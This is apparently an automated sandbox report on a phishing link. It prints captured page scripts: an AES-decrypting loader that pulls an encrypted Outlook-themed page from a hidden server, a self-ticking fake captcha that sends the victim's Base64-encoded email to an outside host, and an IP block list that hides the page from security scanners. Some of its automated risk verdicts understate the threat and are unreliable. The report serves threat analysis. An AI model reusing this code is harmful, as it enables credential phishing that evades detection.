Windows Analysis Report
https://toeaba.fk51.fdske.com/e/c/01jj4zj6bgfw7v8h5pn7k230zs/01jj4zj6bgfw7v8h5pn9dhfjst

```json{  "brand": "unknown",  "brand_classification": "unknown",  "legit_url": "unknown",  "similarity": 0,  "spoofed": 0,  "reasoning": "The URL 'https://toeaba.fk51.fdske.com' does not exhibit any clear visual or structural similarities to a known brand. The domain 'fdske.com' does not resemble any well-known brand or legitimate URL. The subdomain 'toeaba.fk51' does not suggest any known brand or service. There are no obvious character substitutions or structural changes that indicate an attempt to mimic a legitimate brand. The domain and subdomain structure appear random and do not suggest a typosquatting attempt. Additionally, the use of a seemingly random top-level domain and subdomain does not imply any deceptive intent. Therefore, the likelihood of this being a typosquatting attempt is very low."}

URL: https://toeaba.fk51.fdske.com

{
    "risk_score": 4,
    "reasoning": "The script sets a JavaScript-enabled cookie, which is a common practice. It also collects mouse movement and click data, which could be used for analytics or user behavior tracking. The data is sent to the same page via an XHR request, which is a moderate-risk indicator. Overall, the script exhibits some potentially aggressive behavior, but it does not appear to have any clear malicious intent."
}

            // Set JavaScript enabled cookie
            document.cookie = "js_enabled=true; path=/";

            function querulous() {
                document.forms[0].submit();
            }

            let mouseData = [];
            document.addEventListener('mousemove', function (e) {
                mouseData.push({x: e.clientX, y: e.clientY, t: Date.now()});
            });
            document.addEventListener('click', function (e) {
                mouseData.push({x: e.clientX, y: e.clientY, t: Date.now(), click: true});
            });

            function sendMouseData() {
                var xhr = new XMLHttpRequest();
                xhr.open('POST', '', false); // Send to the same page
                xhr.setRequestHeader('Content-Type', 'application/json');
                xhr.send(JSON.stringify({action: 'save_mouse_data', mouseData: mouseData}));
            }
        

{
    "risk_score": 7,
    "reasoning": "The script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and the use of obfuscated code/URLs. While the script appears to have a legitimate purpose (retrieving information from a remote server), the use of encryption and obfuscation techniques, along with the unknown nature of the remote server, raises concerns about potential malicious intent. The script requires further review and analysis to determine the full extent of its risks."
}

            let usuuid = "SfEd6niGvFVRzkiiBVi0ShIyPzDKzvAdWy/P3UPSyCzZj9Pb3jfYNuMrw32Ky24WV1/oS5OqccEjXuxWjDZmqg==";
            let policy = "Upuzk3V1WMMG4sMCmrth+iwGUJ+xnI5+MAOnWPam1IZQGLRkwfAq5W/RwyNrdwxqijCn2bg9OIBIfdBEOuDvdw==";
			let SV = "0";
            let SIR = "1";

            function decstr(encryptedString, key) {
                const keySize = [16, 24, 32];
                if (!keySize.includes(key.length)) {
                    throw new Error("Incorrect AES key length. Use a 16, 24, or 32 bytes key.");
                }

                const encryptedData = CryptoJS.enc.Base64.parse(encryptedString);
                const iv = CryptoJS.lib.WordArray.create(encryptedData.words.slice(0, 4));
                const ciphertext = CryptoJS.lib.WordArray.create(
                    encryptedData.words.slice(4)
                );
                const decryptedData = CryptoJS.AES.decrypt(
                    {
                        ciphertext: ciphertext,
                    },
                    CryptoJS.enc.Utf8.parse(key),
                    {
                        iv: iv,
                        mode: CryptoJS.mode.CBC,
                        padding: CryptoJS.pad.Pkcs7,
                    }
                );
                return decryptedData.toString(CryptoJS.enc.Utf8);
            }

            async function GEInfo() {
                try {
                    const response = await fetch(decstr(policy, "708b91a2n3k4a5i6"), {
                        method: "POST",
                        body: JSON.stringify({
                            psk: usuuid,
                            do: "GURI",
                            redirect_url: "https://outlook.office.com/mail/",
                            theme: "office",
                        }),
                        headers: {
                            "Content-Type": "application/json",
                        },
                    });

                    const data = await response.json();

                    if (data.c === "success") {
                        document.write(decstr(data.b, data.a));
                    } else {
                        document.write(`<p>${data}</p>`);
                    }
                } catch (error) {
                    console.error("Error:", error);
                    document.write("An error occurred while making the request.");
                }
            }
            

            (async () => {
                await GEInfo();
            })();
        

{
    "risk_score": 6,
    "reasoning": "The script demonstrates a combination of moderate-risk and low-risk behaviors. It extracts an email from the URL and encodes it in Base64, which could potentially be used for data exfiltration. Additionally, it automatically clicks a checkbox and redirects the user to a new URL after a delay, which could be indicative of suspicious activity. However, the script does not contain any high-risk indicators like dynamic code execution or obfuscated URLs. The IP blocking functionality is a separate concern and does not directly impact the risk assessment of the JavaScript snippet."
}

function getEmailFromUrl() {
    var urlParams = new URLSearchParams(window.location.search);
    return urlParams.get('email');
}

function base64Encode(str) {
    return btoa(unescape(encodeURIComponent(str)));
}

function handleCheckboxClick() {
    var checkbox = document.getElementById('humanCheck');

    if (checkbox.checked) {
        checkbox.disabled = true; // Disable checkbox once checked
        
        // Extract the email from the current page's URL
        var email = getEmailFromUrl();
        
        // Base URL for redirection
        var baseUrl = 'https://streamvod.es/xzcsdwqe../#D';
        
        // Construct the new URL based on the presence of an email
        var newUrl = baseUrl;
        if (email) {
            // Encode the email in Base64
            var base64Email = base64Encode(email);
            newUrl += '#' + base64Email;
        }
        
        setTimeout(function () {
            // Redirect to the new URL
            window.location.href = newUrl;
        }, 3500); // 3500 milliseconds = 3.5 seconds
    }
}

// Automatically click the checkbox when the page loads
window.onload = function() {
    var checkbox = document.getElementById('humanCheck');
    if (checkbox) {
        checkbox.checked = true;
        handleCheckboxClick();
    }
};


	
		const bannedIP = [
    /^66\.102\..*/,
    /^38\.100\..*/,
    /^107\.170\..*/,
    /^149\.20\..*/,
    /^38\.105\..*/,
    /^74\.125\..*/,
    /^66\.150\.14\..*/,
    /^54\.176\..*/,
    /^38\.100\..*/,
    /^184\.173\..*/,
    /^66\.249\..*/,
    /^128\.242\..*/,
    /^72\.14\.192\..*/,
    /^208\.65\.144\..*/,
    /^74\.125\..*/,
    /^209\.85\.128\..*/,
    /^216\.239\.32\..*/,
    /^74\.125\..*/,
    /^207\.126\.144\..*/,
    /^173\.194\..*/,
    /^64\.233\.160\..*/,
    /^72\.14\.192\..*/,
    /^66\.102\..*/,
    /^64\.18\..*/,
    /^194\.52\.68\..*/,
    /^194\.72\.238\..*/,
    /^62\.116\.207\..*/,
    /^212\.50\.193\..*/,
    /^69\.65\..*/,
    /^50\.7\..*/,
    /^131\.212\..*/,
    /^46\.116\..*/,
    /^62\.90\..*/,
    /^89\.138\..*/,
    /^82\.166\..*/,
    /^85\.64\..*/,
    /^85\.250\..*/,
    /^89\.138\..*/,
    /^93\.172\..*/,
    /^109\.186\..*/,
    /^194\.90\..*/,
    /^212\.29\.192\..*/,
    /^212\.29\.224\..*/,
    /^212\.143\..*/,
    /^212\.150\..*/,
    /^212\.235\..*/,
    /^217\.132\..*/,
    /^50\.97\..*/,
    /^217\.132\..*/,
    /^209\.85\..*/,
    /^66\.205\.64\..*/,
    /^204\.14\.48\..*/,
    /^64\.27\.2\..*/,
    /^67\.15\..*/,
    /^202\.108\.252\..*/,
    /^193\.47\.80\..*/,
    /^64\.62\.136\..*/,
    /^66\.221\..*/,
    /^64\.62\.175\..*/,
    /^198\.54\..*/,
    /^192\.115\.134\..*/,
    /^216\.252\.167\..*/,
    /^193\.253\.199\..*/,
    /^69\.61\.12\..*/,
    /^64\.37\.103\..*/,
    /^38\.144\.36\..*/,
    /^64\.124\.14\..*/,
    /^206\.28\.72\..*/,
    /^209\.73\.228\..*/,
    /^158\.108\..*/,
    /^168\.188\..*/,
    /^66\.207\.120\..*/,
    /^167\.24\..*/,
    /^192\.118\.48\..*/,
    /^67\.209\.128\..*/,
    /^12\.148\.209\..*/,
    /^12\.148\.196\..*/,
    /^193\.220\.178\..*/,
    /^68\.65\.53\.71/,
    /^198\.25\..*/,
    /^64\.106\.213\..*/
];

// Function to check if an IP is banned
function isIPBanned(ip) {
    for (let i = 0; i < bannedIP.length; i++) {
        if (bannedIP[i].test(ip)) {
            return true; // IP is banned
        }
    }
    return false; // IP is not banned
}

// Example usage:
const clientIP = "192.168.1.1"; // Replace with actual client IP (simulate IP address)

if (isIPBanned(clientIP)) {
    // Return 404 error page
    console.log("404 The page that you have requested could not be found.");
    // In a real application, you would typically send an HTTP response with status code 404
} else {
    // Proceed with normal page rendering or other logic
    console.log("Page rendering for non-banned IP.");
}
    

{
"contains_trigger_text": false,
"trigger_text": "unknown",
"prominent_button_name": "Verify that you are human",
"text_input_field_labels": "unknown",
"pdf_icon_visible": false,
"has_visible_captcha": true,
"has_urgent_text": false,
"has_visible_qrcode": false,
"contains_chinese_text": false,
"contains_fake_security_alerts": false,
"page_classification": "unknown"
}

{
  "brands": [
    "Cloudflare"
  ]
}

{
  "contains_trigger_text": false,
  "trigger_text": "unknown",
  "prominent_button_name": "unknown",
  "text_input_field_labels": "unknown",
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false,
  "page_classification": "unknown"
}

{
  "contains_trigger_text": false,
  "trigger_text": "unknown",
  "prominent_button_name": "unknown",
  "text_input_field_labels": "unknown",
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false,
  "page_classification": "unknown"
}

{
  "contains_trigger_text": false,
  "trigger_text": "unknown",
  "prominent_button_name": "unknown",
  "text_input_field_labels": "unknown",
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false,
  "page_classification": "unknown"
}